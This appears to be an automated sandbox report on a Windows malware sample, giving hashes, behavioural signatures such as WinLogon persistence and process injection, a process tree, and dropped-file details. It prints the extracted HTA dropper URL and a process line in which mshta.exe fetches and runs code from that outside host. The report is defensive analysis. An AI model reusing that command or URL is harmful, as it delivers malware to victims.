Analysis

  • max time kernel
    10s
  • max time network
    14s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    01/10/2024, 03:10

Errors

Reason
Machine shutdown

General

  • Target

    04290613d7d55445b4053ffca5c4ec46_JaffaCakes118.exe

  • Size

    586KB

  • MD5

    04290613d7d55445b4053ffca5c4ec46

  • SHA1

    843dbf8d5640c1361fd45044ae8f900d1cbb8c2f

  • SHA256

    ef6cde767d7a578873bff59abd6fcecacf5841633ec7488c1200093e1c22c0a7

  • SHA512

    4d5dbd5292270fb3cddc1d975475be5771e03a380355da7f4002ddb9ca320a196e9834aa3f7107a2a13177544317aac6724c3a853ae35c1f8df5f64543bae9de

  • SSDEEP

    12288:gFrXoPDc6TR74di5m7bZH1XmFfZHJ1EOzmc3Sg2U9Dr2d:mToPQER7Qom/ZHQFfZHJ5ZSWf2

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://fyreport.com/inst.php?id=02934

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\04290613d7d55445b4053ffca5c4ec46_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\04290613d7d55445b4053ffca5c4ec46_JaffaCakes118.exe"
    1⤵
    • Modifies WinLogon for persistence
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2060
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" http://fyreport.com/inst.php?id=02934
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      PID:2016
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2324
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x0
    1⤵
      PID:2712
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x1
      1⤵
        PID:2616

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Roaming\scgdfgasfbh.bat

              Filesize

              266B

              MD5

              1d3ef9b2aed695f916f7e76a9b673eaf

              SHA1

              7b89355248769d6b1a7cec030bfbafda0d5ab0a8

              SHA256

              5b91c53693e63d9b8729e55affc45ffbe5a0446d43f8479d5ce85f14fd56873b

              SHA512

              43b585d97b5081f8f71e1536865a7684b408a8210dd4075bebeec3076137b344dec86df56b5d741d9bc27c5734ac1283f520f3955dadd52bf2ad656d49070464

            • memory/2060-0-0x0000000000400000-0x00000000006B2000-memory.dmp

              Filesize

              2.7MB

            • memory/2060-1-0x00000000001D0000-0x00000000001D1000-memory.dmp

              Filesize

              4KB

            • memory/2060-2-0x0000000003C00000-0x0000000003C10000-memory.dmp

              Filesize

              64KB

            • memory/2060-14-0x0000000000400000-0x00000000006B2000-memory.dmp

              Filesize

              2.7MB